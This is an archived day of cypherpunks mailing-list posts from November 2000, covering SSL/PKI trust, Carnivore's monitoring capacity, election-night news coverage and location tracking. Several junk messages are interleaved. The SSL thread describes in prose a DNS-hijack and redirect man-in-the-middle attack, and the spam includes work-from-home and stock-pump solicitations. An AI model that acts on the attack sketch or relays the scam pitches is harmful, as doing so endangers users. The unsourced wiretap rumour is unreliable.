infrastructure ... eliminates the domain name infrastructure as a business case/justification for the existance of those certificates. Specifically with respect to SSL server certificate, the remaining issue is possibly merchant/server trust (not trust with respect to internet operational integrity ... but fusiness/fraud trust with respect to the business operation of the merchant/server). Establishing that trust goes beyond just having the comfort that if you are defrauded that you might be able to identify the guilty party. That can be addressed with an online BBB &/or consumer report type of service providing real-time information. Eliminating both justifications for SSL server certificates ... then makes the vast majority of the existing SSL server certificates redundant and superfulous (and I believe would severely impact the business case justification for setting up an operation to provide such a service). Now this is applicable to the current existing dominant PKI deployment in the world today (possibly accounting for 99.999999999% of instances where there is a certificate transmitted and a client checks the contents of that certificate). It possibly is not applicable to any other hypothetical PKI implementation which may or may not currently exist. Ben Laurie on 11/19/2000 05:03:20 AM From bill.stewart at pobox.com Sun Nov 19 12:41:03 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 19 Nov 2000 12:41:03 -0800 Subject: CDR: Re: ssz.com network trouble In-Reply-To: References: <00ce01c051c9$357c7880$0100a8c0@nandts> Message-ID: <3.0.5.32.20001119124103.00b48140@idiom.com> At 11:26 AM 11/19/00 -0500, BMM wrote: >cyberpass has "lost" its subscriber list at least once, so you might want >to confirm that you actually are currently subscribed. SSZ has occasional >extended downtimes and the charming CDR prefix. I'm unsure of the status >of algebra.com, as Igor has asked me to deliver to those who were >subscribed there. That leaves openpgp.net and minder.net. Anyone with >some dedicated, reliable bandwidth want to run a node? Cyberpass seems to be working fine. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From wmo at hq.pro-ns.net Sun Nov 19 10:50:21 2000 From: wmo at hq.pro-ns.net (Bill O'Hanlon) Date: Sun, 19 Nov 2000 12:50:21 -0600 Subject: CDR: Re: ssz.com network trouble In-Reply-To: ; from bmm@minder.net on Sun, Nov 19, 2000 at 11:28:51AM -0500 References: <00ce01c051c9$357c7880$0100a8c0@nandts> Message-ID: <20001119125020.A81209@hq.pro-ns.net> Already in place. cypherpunks at ds.pro-ns.net is the address. Mail to majordomo at ds.pro-ns.net to get on the list. It's served by one of my machines at the ISP that I own. Bandwidth is dedicated and reliable. It's been running for several months. I'm just not good at marketing. -Bill -- Bill O'Hanlon wmo at pro-ns.net Professional Network Services, Inc. 612-379-3958 On Sun, Nov 19, 2000 at 11:28:51AM -0500, BMM wrote: > > cyberpass has "lost" its subscriber list at least once, so you might want > to confirm that you actually are currently subscribed. SSZ has occasional > extended downtimes and the charming CDR prefix. I'm unsure of the status > of algebra.com, as Igor has asked me to deliver to those who were > subscribed there. That leaves openpgp.net and minder.net. Anyone with > some dedicated, reliable bandwidth want to run a node? > > Cheers, > > -Brian > > On Sat, 18 Nov 2000, Neil Johnson wrote: > > > I subscribed to cyberpass.net and am still not getting any messages. Is this > > related to ssz ? > > > > -Neil > > > > Neil M. Johnson > > njohnson at interl.net > > http://www.interl.net/~njohnson > > PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > > > ----- Original Message ----- > > From: "Bill Stewart" > > To: "Neil Johnson" ; > > Sent: Saturday, November 18, 2000 7:03 PM > > Subject: Re: ssz.com network trouble > > > > > > > I did a traceroute (well, mswindoze tracert, anyway), and got a > > > "destination unreachable" from a machine at realtime.net in Austin. > > > SSZ has often been unreliable; I think it's connected by ISDN, > > > and it's raining down in Texas. > > > > > > At 06:30 PM 11/18/00 -0600, Neil Johnson wrote: > > > >Is there something wrong with ssz.com. I haven't gotten any list mail and > > I > > > >can get to the site. > > > > > > > >Thanks. > > > > > > > >Neil M. Johnson > > > >njohnson at interl.net > > > >http://www.interl.net/~njohnson > > > >PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > > > > > Thanks! > > > Bill > > > Bill Stewart, bill.stewart at pobox.com > > > PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 > > > > > > > -- > bmm at minder.net 1024/8C7C4DE9 > > > From no.user at anon.xg.nu Sun Nov 19 10:50:36 2000 From: no.user at anon.xg.nu (No User) Date: Sun, 19 Nov 2000 12:50:36 -0600 Subject: CDR: Bush Cousin Made Florida Vote Call For Fox News Message-ID: http://washingtonpost.com/wp-dyn/articles/A14686-2000Nov14.html By Howard Kurtz Washington Post Staff Writer Tuesday, November 14, 2000; Page C1 In yet another bizarre twist to an already surreal campaign, the head of Fox News's Election Night decision desk - who recommended calling Florida, and the election, for George W. Bush - turns out to be Bush's first cousin. Even as he was leading the Fox decision desk that night, John Ellis was also on the phone with his cousins - "Jebbie," the governor of Florida, and the presidential candidate himself - giving them updated assessments of the vote count. Ellis's projection was crucial because Fox News Channel put Florida in the W. column at 2:16 a.m. - followed by NBC, CBS, CNN and ABC within four minutes. That decision, which turned out to be wrong and was retracted by the embarrassed networks less than two hours later, created the impression that Bush had "won" the White House. Which is why media circles were buzzing yesterday with the question of why Fox had installed a Bush relative in such a sensitive post. "Appearance of impropriety?" asks Fox Vice President John Moody, who approved Ellis's recommendation to call Florida for Bush. "I don't think there's anything improper about it as long as he doesn't behave improperly, and I have no evidence he did. . . . John has always conducted himself in an extremely professional manner." But Moody admits that Ellis's Election Night conversations with the cousins "would cause concern." Ellis - whose mother, Nancy Ellis, is the sister of former president George Bush - boasted to the New Yorker that "everyone followed us." He also said the morning after the election that "Jebbie'll be calling me like eight thousand times a day." Ellis did not respond to an interview request yesterday. Ellis's support for his cousin was hardly a secret. He wrote in The Washington Post's Outlook section nine days ago that the Texas governor is "smart, engaging, enormously energetic, possessed of dynamic leadership skills, funny, wry [and] optimistic," as opposed to "the morally berserk universe of the Clintons." Tom Rosenstiel, director of the Project for Excellence in Journalism, said: "The notion that you'd have the cousin of one presidential candidate . . . in a position to call a state is unthinkable. Fox's call precipitated all the other networks' calls. That call - wrong, unnecessary, misguided, foolish - has helped create a sense that this election went to Bush, was pulled back and he is waiting to be restored." Critics say the Ellis connection will reinforce Fox's reputation as a conservative network whose anchors include Tony Snow, a former Bush White House staffer, and such commentators as Newt Gingrich. Fox maintains it merely provides a balanced alternative to the liberal networks. But, says Rosenstiel, "the marketing slogan 'We report, you decide' is obliterated by the fact that one candidate's first cousin is actually deciding, and then they report." Marvin Kalb, Washington executive director of Harvard's Shorenstein press center, calls Ellis "a fine writer and columnist, and he's always sensitive about his relationship with his first cousin. His mother is very, very close with former president Bush. Therefore I am puzzled as to why he'd put himself in a position where he would seem to be the one making the call for his cousin. It clearly conveys the wrong impression." As a Boston Globe columnist last year, Ellis wrote after some reader complaints: "I am loyal to my cousin. . . . I put that loyalty ahead of my loyalty to anyone else outside my immediate family. That being the case, it is not possible for me to continue writing columns about the 2000 presidential campaign." Ellis worked for NBC News as a producer and researcher in the political unit from 1978 through March 1989, soon after President Bush took office. Fox says it hired Ellis this year for work during the primaries and on Election Night. He also worked for Fox in 1998 when, Moody says, he called George Bush's reelection in Texas (though that was a landslide). Ellis, who lives in Irvington, N.Y., was among those briefing Fox News President Roger Ailes last Tuesday night, but he was not a total Bush loyalist. At 7:52 p.m., Fox called Florida for Al Gore based on Ellis's recommendation, though Fox was not the first to make that projection. After Fox's report, according to the New Yorker, Jeb Bush called and asked Ellis: "Are you sure?" The Gore call, based heavily on exit polls from Voter News Service, also turned out to be wrong and was retracted by the networks two hours later. At 2 a.m., Ellis called his cousins to say it was "statistically impossible" for Gore to win Florida. "Their mood was up, big-time," Ellis told the New Yorker's Jane Mayer. "It was just the three of us guys handing the phone back and forth - me with the numbers, one of them a governor, the other the president-elect. Now that was cool." But it was decidedly uncool to some Fox staffers, angry at what they see as Ellis exaggerating his role. Some are calling him "John 'Alexander Haig' Ellis," declaring himself to be in charge. Whatever the Yale graduate's job description, it remains unclear why a television network allowed him to call the election for his cousin. "You factor that in to everything else, but John is a professional," Moody says. "It would be as strange not to hire him because of who he's related to as to hire him especially because of who he's related to." From ben at algroup.co.uk Sun Nov 19 05:03:20 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sun, 19 Nov 2000 13:03:20 +0000 Subject: Public Key Infrastructure: An Artifact... References: <8525699C.0044DF10.00@lnsunr02.fl.firstdata.com> Message-ID: <3A17CF98.CA58D9B6@algroup.co.uk> Lynn.Wheeler at firstdata.com wrote: > > actually ... not really ... this was discussed early this summer as to what they > actually check ... and how trivial it is to fabricate necessary details to pass > such checking > > random ref: > > http://www.garlic.com/~lynn/aadsmore.htm#client3 > > in general it is sufficient to have registered any DBA name & have a d&b entry > plus some misc. other stuff ... all relatively easy to establish. Since the DBA > name & d&b entry aren't cross-checked as part of the SSL certificate validation > ... just the domain name in the certificate against the domain name used ... you > could be really surprised at what comes up for DBA names. > > I've had credit card statements that listed the DBA names which had absolutely > no relationship to the name of the store I had been to ... which i eventually > had to call both the credit card company/bank and the store to figure out what > was going on. This is not a comment on the crapness of PKI, it is a comment on the crapness of Verisign. The two are far from synonymous. Don't get me wrong - I don't think PKI is a perfect solution by any means - however, it gets us nowhere to attribute the faults of others to PKI. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From cypherpunks at EINSTEIN.ssz.com Sun Nov 19 10:20:32 2000 From: cypherpunks at EINSTEIN.ssz.com (Cecilia Freitas) Date: Sun, 19 Nov 2000 13:20:32 -0500 Subject: CDR: I need your help for my project!!! Message-ID: <3A1819F0.42828617@sympatico.ca> send me what you know about the earthquake that happened on saturday in Papau new guinea. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 224 bytes Desc: not available URL: From trueopps at lycos.com Sun Nov 19 10:51:38 2000 From: trueopps at lycos.com (trueopps at lycos.com) Date: Sun, 19 Nov 00 13:51:38 EST Subject: CDR: " WE currently hiring SERIOUS HOMEWORKERS Position: Home Typist, Clerk, Secretary, Mail Processing, Supervisor, Manager... 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Thank you for your time Rachel Mother of 1 From George at orwellian.org Sun Nov 19 11:24:26 2000 From: George at orwellian.org (George at orwellian.org) Date: Sun, 19 Nov 2000 14:24:26 -0500 Subject: CDR: Is this Reno/wiretap stat true? Message-ID: <200011191829.NAA25528@www1.aa.psiweb.com> Found in Usenet: # I don't know if Reno is a traitor, but consider this: # Between 1992 and 1997, there were approximately 2,500 # national security wiretaps requested by the FBI. Only one # of these 2,500 requests was turned down: Wen Ho Lee's! And # this turndown took place while Wen Ho Lee was still # downloading nuclear secrets from Lost Alamos. True/False? From return60 at uole.com Sun Nov 19 11:28:59 2000 From: return60 at uole.com (return60 at uole.com) Date: Sun, 19 Nov 2000 14:28:59 -0500 Subject: CDR: Need Money? Aggressive lenders Say YES to Home Loans! 9803 Message-ID: <00000d8a2d1a$00003642$0000264b@from pouifesi.cc.org.ar ([256.45.36.4]) by ris5s2.daidacenottere1.chuea.ceaimtv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([256.45.256.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 16234 bytes Desc: not available URL: From bram at gawth.com Sun Nov 19 15:41:05 2000 From: bram at gawth.com (Bram Cohen) Date: Sun, 19 Nov 2000 15:41:05 -0800 (PST) Subject: Key-Address correspondence in networks? In-Reply-To: Message-ID: On Sun, 19 Nov 2000, Ray Dillinger wrote: > Bluntly, after reviewing PKI and x.509 certs, I don't think that > there is a sufficient reason to trust that the machine I'm talking > to is actually the machine its cert claims it to be. Like I said, the important thing is that it stops passive attacks - in practice man in the middle attacks just don't seem to happen. -Bram Cohen From marshall at athena.net.dhis.org Sun Nov 19 13:12:20 2000 From: marshall at athena.net.dhis.org (David Marshall) Date: Sun, 19 Nov 2000 16:12:20 -0500 Subject: CDR: Re: Is this Reno/wiretap stat true? In-Reply-To: "James A. Donald"'s message of "Sun, 19 Nov 2000 15:16:13 -0500" References: <4.3.1.2.20001119115500.026d8788@shell11.ba.best.com> Message-ID: <87k89zpsz2.fsf@athena.dhis.org> "James A. Donald" writes: > -- > > At 01:29 PM 11/19/2000 -0500, George at orwellian.org wrote: > > Found in Usenet: > > > > # I don't know if Reno is a traitor, but consider this: > > # Between 1992 and 1997, there were approximately 2,500 > > # national security wiretaps requested by the FBI. Only one > > # of these 2,500 requests was turned down: Wen Ho Lee's! And > > # this turndown took place while Wen Ho Lee was still > > # downloading nuclear secrets from Lost Alamos. > > > > True/False? > > > Any new, important and surprising fact reported on usenet without source or > explanation is almost certainly a lie. That's always good advice to go by. In this particular case, I recall hearing a claim that only one wiretap was turned down, and that one was to be exercised on Wen Ho Lee, but I don't recall the total number of requests. The source for this was the Rush Limbaugh Show, so make of it what you will. Not to defend the Butcher of Waco by any means, but we also don't know the circumstances surrounding the wiretap. Maybe it's true, though unlikely, that all the other wiretap requests had evidence behind them, while the one for Wen Ho Lee took the form "We think this guy is doing something bad. We don't know what, but he ate Dim Sum this morning, and we're worried that he might like more than just Chinese food." Of course, that's never stopped the government from approving wiretaps before. :) From auto58194 at hushmail.com Sun Nov 19 13:34:52 2000 From: auto58194 at hushmail.com (auto58194 at hushmail.com) Date: Sun, 19 Nov 2000 16:34:52 -0500 (EST) Subject: CDR: Re: ssz.com network trouble Message-ID: <200011192135.NAA20552@user5.hushmail.com> Neil Johnson wrote: > > Is there something wrong with ssz.com. I haven't gotten any list mail and I > can get to the site. > ICANN action. Jim has become dangerous. From fubob at MIT.EDU Sun Nov 19 14:12:02 2000 From: fubob at MIT.EDU (Kevin E. Fu) Date: Sun, 19 Nov 2000 17:12:02 -0500 Subject: Public Key Infrastructure: An Artifact... In-Reply-To: "[8087] in cryptography@c2.net mail archive" Message-ID: <200011192212.RAA32241@tiramisu.lcs.mit.edu> Of relevance to SSL and trust in DNS... Even without stealing keys, there are unconventional ways of circumventing SSL server authentication. That is, pretending to be an SSL server that you are not. For instance, a client might forget to verify in a resumed SSL session that the server hostname matches the CN involved with the original connection. If the client starts a resumable session with a server, that server can pretend to be other hosts. Examples: http://www.cert.org/advisories/CA-2000-05.html http://snafu.fooworld.org/~fubob/netscape-ssl.html There is not a well-defined trust model for proxied SSL content. SSL authenticates servers, not content. Example: http://www.mit.edu:8008/menelaus/bt/17272 Even if SSL were perfect, implementing certificate management will remain tricky. -------- Kevin E. Fu (fubob at mit.edu) PGP key: https://snafu.fooworld.org/~fubob/pgp.html >Unless that problem is fixed, man in the middle is hardly made more >difficult - for example, Mallory could break into some random machine on >the net and steal it's public key, then hijack local DNS and when someone >goes to amazon.com redirect them to amazon.hackeddomain.com, and then >proxy to amazon.com - now even SSL says the connection is safe. > >-Bram Cohen From obfuscation at beta.freedom.net Sun Nov 19 18:07:08 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Sun, 19 Nov 2000 18:07:08 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <200011200208.SAA13909@blacklodge.c2.net> > On Sat, 18 Nov 2000 obfuscation at beta.freedom.net wrote: > > > Bram Cohen writes: > > > Unless that problem is fixed, man in the middle is hardly made more > > > difficult - for example, Mallory could break into some random machine on > > > the net and steal it's public key, then hijack local DNS and when someone > > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > > proxy to amazon.com - now even SSL says the connection is safe. > > > > Are you sure that works? I would think the SSL client would do a > > connection to the URL the user typed, www.amazon.com, and check the > > name in the cert to see if it (approximately) matches. > > When the user goes to www.amazon.com, they get a plaintext http redirect > to amazon.hackeddomain.com, which does check. Still confused... The original connection to www.amazon.com is an SSL connection, right? We are following an https: URL? (Otherwise, SSL would not even come into the picture.) If you do a DNS hack to redirect www.amazon.com to amazon.hackeddomain.com, the latter site will not be able to complete SSL handshaking without triggering a browser warning, will it? Are you suggesting that the server would reply to the SSL handshake with a NULL transform? I just checked my browser (Netscape) and it did not offer NULL as an option. The only ciphersuites offered in the client_hello message were: V2CipherSpec SSL_RC4_128_WITH_MD5 = { 0x01,0x00,0x80 }; V2CipherSpec SSL_RC4_128_EXPORT40_WITH_MD5 = { 0x02,0x00,0x80 }; V2CipherSpec SSL_RC2_CBC_128_CBC_WITH_MD5 = { 0x03,0x00,0x80 }; V2CipherSpec SSL_RC2_CBC_128_CBC_EXPORT40_WITH_MD5 = { 0x04,0x00,0x80 }; V2CipherSpec SSL_IDEA_128_CBC_WITH_MD5 = { 0x05,0x00,0x80 }; V2CipherSpec SSL_DES_192_EDE3_CBC_WITH_MD5 = { 0x07,0x00,0xC0 }; The server must choose from this list, and all of these require the server to respond with an RSA certificate. So it looks to me like the SSL protocol will not allow the redirection attack to work without triggering a user alert, unless there is some subtlety here... Ob From schear at lvcm.com Sun Nov 19 18:13:20 2000 From: schear at lvcm.com (Steve Schear) Date: Sun, 19 Nov 2000 18:13:20 -0800 Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: References: <200011180645.BAA25576@www4.aa.psiweb.com> Message-ID: <4.3.2.7.0.20001119104636.05a30b10@pop3.lvcm.com> At 06:21 PM 11/19/00 +0000, Jim Dixon wrote: >On Sat, 18 Nov 2000 George at orwellian.org wrote: > > > EPIC FOIA... > > > > http://www.latimes.com/wires/20001117/tCB00V0387.html > > > > WASHINGTON--The FBI's controversial e-mail surveillance tool, > > known as Carnivore, can retrieve all communications that go > > through an Internet service -far more than FBI officials have > > said it does -a recent test of its potential sweep found, > > according to bureau documents > > [snip] > >Carnivore is an NT-based PC. How could it conceivably process all >communications through even a mid-sized ISP? > >There are at least two problems: processing power and network >architecture. > >As regards the first, our customers, many of them smaller ISPs, >find it necessary to employ NT clusters to handle subsets of their >traffic (Usenet news, Web proxies, and so forth). So it is >difficult to believe that a single NT box could monitor their >entire traffic load. A PC, using off-the-shelf HW, is capable of filtering a full 100 Mbps link (144K packets/sec) as demonstrated by the BlackICE products http://www.networkice.com/html/blackice_sentry.html steve >As regards the second, most ISPs of any size have multiple PoPs >and multiple high-speed connections to other networks. It would >require incredible contortions to route all of their traffic to >one point for monitoring. And for the larger network, the bandwidth >into that single point would be unmanageable. > >The UK government proposed building something more sophisticated than >Carnivore. Consultants led them to believe that this was feasible, >and costed a solution. The UK ISP associations (the LINX and ISPA) >replied to their proposals by saying that (a) the proposals showed >no understanding of the technical structure of the Internet and >(b) their cost estimates were ridiculously low, even if the >Internet could be distorted sufficiently to be monitored in the >manner envisioned. > >As far as we can see, the UK government as an institution is not >capable of even understanding the Internet. They simply do not have >enough competent technical staff. They do have a lot of relatively >senior people who claim to be competent - and give bad advice, some >of which finds its way into legislation and programs of action. > >The overall capacity and the complexity of the Internet is increasing >at an explosive rate. For better or for worse, this far exceeds the >growth in any government's capability of monitoring Internet traffic. From George at orwellian.org Sun Nov 19 15:21:21 2000 From: George at orwellian.org (George at orwellian.org) Date: Sun, 19 Nov 2000 18:21:21 -0500 (EST) Subject: CDR: Some sort of steeerange tax revolt Message-ID: <200011192321.SAA12035@www9.aa.psiweb.com> http://www.nytimes.com/2000/11/19/business/19TAXX.html # # November 19, 2000 # # Defying the I.R.S., Anti-Tax Businesses Refuse to Withhold # # By DAVID CAY JOHNSTON # # LAKE SHASTA, Calif. - Al Thompson squeezed most of his # manufacturing company's 28 employees into a conference room here # in October to say he had good news: Income taxes must be paid # by only a few Americans, mostly those working for foreign-owned # companies. So, he told the workers, they would not have to pay # income taxes ever again. His business is exempt, too, he said. # # No Social Security or Medicare taxes, either. The company was # no longer withholding taxes from their paychecks, he said, or # telling the Internal Revenue Service how much they made. [snip] From jdd at vbc.net Sun Nov 19 10:21:40 2000 From: jdd at vbc.net (Jim Dixon) Date: Sun, 19 Nov 2000 18:21:40 +0000 (GMT) Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: <200011180645.BAA25576@www4.aa.psiweb.com> Message-ID: On Sat, 18 Nov 2000 George at orwellian.org wrote: > EPIC FOIA... > > http://www.latimes.com/wires/20001117/tCB00V0387.html > > WASHINGTON--The FBI's controversial e-mail surveillance tool, > known as Carnivore, can retrieve all communications that go > through an Internet service -far more than FBI officials have > said it does -a recent test of its potential sweep found, > according to bureau documents > [snip] Carnivore is an NT-based PC. How could it conceivably process all communications through even a mid-sized ISP? There are at least two problems: processing power and network architecture. As regards the first, our customers, many of them smaller ISPs, find it necessary to employ NT clusters to handle subsets of their traffic (Usenet news, Web proxies, and so forth). So it is difficult to believe that a single NT box could monitor their entire traffic load. As regards the second, most ISPs of any size have multiple PoPs and multiple high-speed connections to other networks. It would require incredible contortions to route all of their traffic to one point for monitoring. And for the larger network, the bandwidth into that single point would be unmanageable. The UK government proposed building something more sophisticated than Carnivore. Consultants led them to believe that this was feasible, and costed a solution. The UK ISP associations (the LINX and ISPA) replied to their proposals by saying that (a) the proposals showed no understanding of the technical structure of the Internet and (b) their cost estimates were ridiculously low, even if the Internet could be distorted sufficiently to be monitored in the manner envisioned. As far as we can see, the UK government as an institution is not capable of even understanding the Internet. They simply do not have enough competent technical staff. They do have a lot of relatively senior people who claim to be competent - and give bad advice, some of which finds its way into legislation and programs of action. The overall capacity and the complexity of the Internet is increasing at an explosive rate. For better or for worse, this far exceeds the growth in any government's capability of monitoring Internet traffic. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From bram at gawth.com Sun Nov 19 15:46:17 2000 From: bram at gawth.com (Bram Cohen) Date: Sun, 19 Nov 2000 18:46:17 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... In-Reply-To: <200011190127.RAA06629@blacklodge.c2.net> Message-ID: On Sat, 18 Nov 2000 obfuscation at beta.freedom.net wrote: > Bram Cohen writes: > > Unless that problem is fixed, man in the middle is hardly made more > > difficult - for example, Mallory could break into some random machine on > > the net and steal it's public key, then hijack local DNS and when someone > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > proxy to amazon.com - now even SSL says the connection is safe. > > Are you sure that works? I would think the SSL client would do a > connection to the URL the user typed, www.amazon.com, and check the > name in the cert to see if it (approximately) matches. When the user goes to www.amazon.com, they get a plaintext http redirect to amazon.hackeddomain.com, which does check. -Bram Cohen From marketing24 at uole.com Sun Nov 19 17:11:22 2000 From: marketing24 at uole.com (marketing24 at uole.com) Date: Sun, 19 Nov 2000 20:11:22 -0500 Subject: CDR: Latest Stock Pick..."NRGE" - Buy Alert! 15493 Message-ID: <0000242d1377$00007ab4$00003c85@from pouifesi.cc.org.ar ([256.45.36.4]) by ris5s2.daidacenottere1.chuea.ceaimtv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([256.45.256.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5317 bytes Desc: not available URL: From anmetet at mixmaster.shinn.net Sun Nov 19 18:11:39 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sun, 19 Nov 2000 21:11:39 -0500 Subject: CDR: Tracking devices will be able to follow your every move Message-ID: <8d8eed2c6507bf7d030cb92cbd940c02@mixmaster.shinn.net> http://www.kentuckyconnect.com/heraldleader/news/111900/yourmonydocs/19Tech-TrackingDevices.htm Published Sunday, November 19, 2000, in the Herald-Leader Tracking devices will be able to follow your every move By Anick Jesdanun ASSOCIATED PRESS NEW YORK Imagine walking by a Starbucks in an unfamiliar city. Your cell phone rings, and a coupon for coffee, good only at that location, pops up on the screen. How did your phone know you were near that particular Starbucks? What else does it know about you? Enter location tracking, coming to a mobile device near you. Features that one day can pinpoint your whereabouts to within the length of a football field raise enormous privacy concerns, but they also offer enormous benefits. The challenge will be determining where to draw the line. Consider a recently unveiled technology called Digital Angel. With Digital Angel, a microchip worn close to the body promises to record a person's biological parameters and send distress signals during medical emergencies. But misused, these types of capabilities could amount to virtual stalking. Cell phones, hand-held devices, even car navigation systems will soon have detailed tracking abilities, if they do not already. Services could begin appearing within a year or so. Much of the drive will come from a federal law that requires that cell phones identify callers' locations, in order to expedite 911 emergency responses. If the industry has to install expensive equipment anyway, why not use it to make money? ``There's going to be a dramatic increase in the amount of tracking that's made possible, in part by services they don't know they have,'' said Daniel J. Weitzner of the World Wide Web Consortium, which sets technical standards for the Web. Such tracking will let someone visit a Web site and automatically get weather, movie showings or neighborhood restaurants, based on their current location. If they're lost, they will be able to ask for turn-by-turn directions. Those short of cash can be pointed to the nearest bank machine. But if the information is stored, location tracking could result in a 24-hour-a-day record of a person's whereabouts. So what if a divorce lawyer wants to check if someone's been cheating, or if a social service agent wants to know how many times a person has visited a candy store with their child? ``You have to ask, `Who gets how much information?''' said Jason Catlett, chief executive of Junkbusters Corp., a non-profit privacy monitoring group in Green Brook, N.J. ``Telephone records are routinely subpoenaed. They can be very intrusive, but far more intrusive is a complete log of your physical movement.'' But companies looking to gain business from location tracking insist that the worst-case scenarios presented are impractical to implement in reality. ``There's no way a database is large enough or cost effective for Starbucks to monitor everyone's location on the off chance they can acquire a customer,'' said Jason Devitt, chief executive of Vindigo, which offers 11 city guides through Palm organizers. Lee Hancock, founder and chief executive of go2 Systems Inc., said any short-term gains from such tactics would be offset by losses if they alienate customers. Leading wireless and advertising companies agree that they must tread carefully because mobile devices are inherently more personal than desktop computers. At DoubleClick Inc., whose ad-targeting system generated much of the Net's privacy complaints, officials won't deliver location-based ads right away. The company wants to develop privacy standards first, using lessons from the desktop. ``We've all learned what to do and what not to do, and we can port that over to the wireless market,'' said Jamie Byrne, strategic director for emerging platforms at DoubleClick. Any such ads will likely target a metropolitan region, rather than a city block, because audiences for block-by-block ads would be too small, Byrne said. Ultimately, he said, such targeting will help subsidize wireless services that customers want. Jonathan Fox, director of business development at advertising company Engage Inc., says location-based profiles would not carry names and other personal information. TRUSTe, which runs a seal-of-approval program for Internet privacy policies, is looking to develop guidelines for mobile applications. ``It's more difficult to retrofit policies if you're already down the road,'' said Robert Lewin, TRUSTe chief executive. ``Here, we have the opportunity to do it right the first time.'' In many ways, a person's whereabouts are already being tracked. Employee security cards record when people enter buildings. Discount grocery programs track what people buy, where and when. Electronic toll-payment systems know when someone traverses a tunnel or bridge. Current phones can pinpoint callers to a few miles by determining the location of the cell tower used to handle the call. Palm VII organizers use similar techniques to narrow a user to a particular zip code, and an optional global-positioning receiver can pinpoint that person even further. Marketers can also get clues from the items people search for or the sites they visit a city guide, for instance, tells in what city a person is likely located or where they plan to visit. But for the most part, marketers have yet to take full advantage of such knowledge, and consumers have yet to complain. ``We're providing value,'' Palm spokesman Ted Ladd said. ``Mobile users are inherently in a hurry.'' Wireless providers are not likely to have a use for storing location information, except perhaps for applications that help with driving directions by determining where you came from. Paul Reddick, vice president of product management and development with Sprint PCS, said such storage is not practical, necessary or even desirable. ``It takes years to build a brand and build trust,'' he said, ``and you can blow it pretty fast.'' From commerce at home.com Sun Nov 19 18:54:17 2000 From: commerce at home.com (Me) Date: Sun, 19 Nov 2000 21:54:17 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification References: <200011172118.QAA27768@www6.aa.psiweb.com> <00111703590602.11495@reality.eng.savvis.net> <062901c05102$fbb98dc0$cc38e43f@happycat> Message-ID: <010e01c05298$9b3803e0$0100a8c0@matthew> ----- Original Message ----- X-Loop: openpgp.net From: "Carol A Braddock" > And I do believe Miss Secretary of State will wish she > has not done what she has so far. She in her statements > has not given a case by case reason for rejection. It certainly > will cost her the office she holds in the next election, or any > other public office she might run for. IIRC, and I probably don't, the Florida constitution was recently amended so as to make the positio9n of Secretary of State an elected one. From marketing21 at uole.com Sun Nov 19 19:01:20 2000 From: marketing21 at uole.com (marketing21 at uole.com) Date: Sun, 19 Nov 2000 22:01:20 -0500 Subject: CDR: NRGE - Buy Alert! 28926 Message-ID: <00000f5659b7$00004e66$000070fe@from pouifesi.cc.org.ar ([256.45.36.4]) by ris5s2.daidacenottere1.chuea.ceaimtv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([256.45.256.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5320 bytes Desc: not available URL: From yugo39 at hotmail.com Sun Nov 19 19:03:21 2000 From: yugo39 at hotmail.com (yugo39 at hotmail.com) Date: Sun, 19 Nov 2000 22:03:21 -0500 Subject: CDR: Join! and Get everything you need to achieve Great Success! -LEJW Message-ID: <200011200254.SAA04515@cyberpass.net> Initiative - key to Become Successful Home Worker! Don't delay, don't lose Your Chance! Join! and Get everything you need to achieve Great Success! Use Your FREEDOM of Choice! Get Clear Home Work! Start Perfect Own Internet Home Business! Make FREE money as partner! Boost your Internet Connection Speed! Speed up your computer! Go to: http://www.virtue.nu/yugo/ http://www.geocities.com/yugoaral/ ***************************************** Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply with the word REMOVE in the subject line. From commerce at home.com Sun Nov 19 19:12:23 2000 From: commerce at home.com (Me) Date: Sun, 19 Nov 2000 22:12:23 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification References: <200011172118.QAA27768@www6.aa.psiweb.com> <00111703590602.11495@reality.eng.savvis.net> <062901c05102$fbb98dc0$cc38e43f@happycat> <010e01c05298$9b3803e0$0100a8c0@matthew> Message-ID: <01e101c0529e$35d66f90$0100a8c0@matthew> ----- Original Message ----- X-Loop: openpgp.net From: "Me" > IIRC, and I probably don't, the Florida constitution was recently > amended so as to make the positio9n of Secretary of State an > elected one. Er, make that appointed. I don't know what the 9 means. From jdd at vbc.net Sun Nov 19 19:34:01 2000 From: jdd at vbc.net (Jim Dixon) Date: Sun, 19 Nov 2000 22:34:01 -0500 Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: <4.3.2.7.0.20001119104636.05a30b10@pop3.lvcm.com> Message-ID: On Sun, 19 Nov 2000, Steve Schear wrote: > >There are at least two problems: processing power and network > >architecture. > > > >As regards the first, our customers, many of them smaller ISPs, > >find it necessary to employ NT clusters to handle subsets of their > >traffic (Usenet news, Web proxies, and so forth). So it is > >difficult to believe that a single NT box could monitor their > >entire traffic load. > > A PC, using off-the-shelf HW, is capable of filtering a full 100 Mbps link > (144K packets/sec) 